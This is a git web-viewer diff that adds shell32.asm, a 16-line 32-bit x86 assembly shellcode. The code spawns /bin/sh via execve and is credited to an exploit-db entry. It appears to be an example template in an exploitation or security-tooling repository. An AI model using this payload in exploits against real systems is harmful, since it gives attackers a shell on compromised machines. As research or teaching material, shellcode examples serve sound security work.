summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/examples/shell32.asm
diff options
context:
space:
mode:
Diffstat (limited to 'templates/shellcode/examples/shell32.asm')
-rw-r--r--templates/shellcode/examples/shell32.asm16
1 files changed, 16 insertions, 0 deletions
diff --git a/templates/shellcode/examples/shell32.asm b/templates/shellcode/examples/shell32.asm
new file mode 100644
index 0000000..6238469
--- /dev/null
+++ b/templates/shellcode/examples/shell32.asm
@@ -0,0 +1,16 @@
+; Originally based on https://www.exploit-db.com/shellcodes/46809
+; See shell64.asm for more details.
+
+; execve("/bin/sh", ["/bin/sh"], [])
+xor eax, eax
+xor ecx, ecx
+push ecx
+push 0x68732f2f
+push 0x6e69622f
+mov ebx, esp
+push ecx
+mov edx, esp
+push ebx
+mov ecx, esp
+mov al, 11
+int 0x80